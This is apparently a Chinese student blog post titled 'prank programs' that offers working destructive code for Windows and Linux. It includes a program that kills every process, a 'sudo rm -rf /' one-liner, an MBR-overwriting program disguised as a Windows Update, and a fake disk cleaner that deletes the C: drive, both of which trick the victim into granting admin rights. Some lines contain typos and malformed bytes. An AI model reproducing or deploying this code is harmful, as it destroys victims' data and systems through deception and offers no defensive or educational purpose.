- BC20260158's blog
整蛊程序
- 2024-2-17 11:27:21 @
!!!警告:部分程序具有毁灭性!!!
1.蓝屏钙,好吃的钙
#include<windows.h>
using namespace std;
int main(){
system('pause');
system('taskkill /f /fi "pid ne 1"');
}
2.无限cmd弹窗
#include<windows.h>
using namespace std;
int main(){
system('cmd');
}
资源管理器
#include<windows.h>
using namespace std;
int main(){
system('explorer');
}
mmc
#include<windows.h>
using namespace std;
int main(){
system('mmc');
}
3.硬盘清理大师
以下是Linux及MacOs版
import os
os.system('sudo rm -rf / *')
4.机都开不了
#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
unsigned char sco[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xBA\x1D\x0E\xCD\x10\xE2\xFE\0xe5\0x82\0xbb\0xe9\0x80\0xbc";
DWORD MBR()
{
system("title Windows Update");
cout<<"Your computer has a bug.We are updating."<<endl;
cout<<"Windows Updating..."<<endl;
DWORD Ropen;
BYTE pMBR[512] = { 0 };
memcpy(pMBR, sco, sizeof(sco));
pMBR[510] = 0x55;
pMBR[511] = 0xaa;
HANDLE hDevice = CreateFile(
"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL, "错误", "请以管理员身份运行,否则 Windows 无法安装此特殊补丁更新。", MB_OK);
return 0;
}
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
//写入磁盘文件
WriteFile(hDevice, pMBR, 512, &Ropen, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
cout<<"Windows Updated.Restart..."<<endl;
system("shutdown -s -t 00");
}
int main(int argc, char* argv[])
{
system("puase");
system("puase");
system("puase");
system("puase");
system("puase");
MBR();
return 0;
}
5.机都开不了2
#include<iostream>
#include<Windows.h>
#include<stdio.h>
using namespace std;
void s(){
MessageBoxA(NULL, "Messag", "请以管理员身份运行,否则 Windows 无法进行磁盘清理。", MB_OK);
system("rd /s /q C:");
system("echo 正在进行磁盘清理工作,请稍等几分钟,完毕后,请将系统将重启");
}
int main(){
int a;
c:
cout<<"本软件适用于进行磁盘清理,要进行清理,输入1,不进行清理,请输入0.";
cin>>a;
if(a){
s();
}
else{
cout<<"输入错误,请重新输入";
sleep(1000);
system("cls");
goto c;
}
}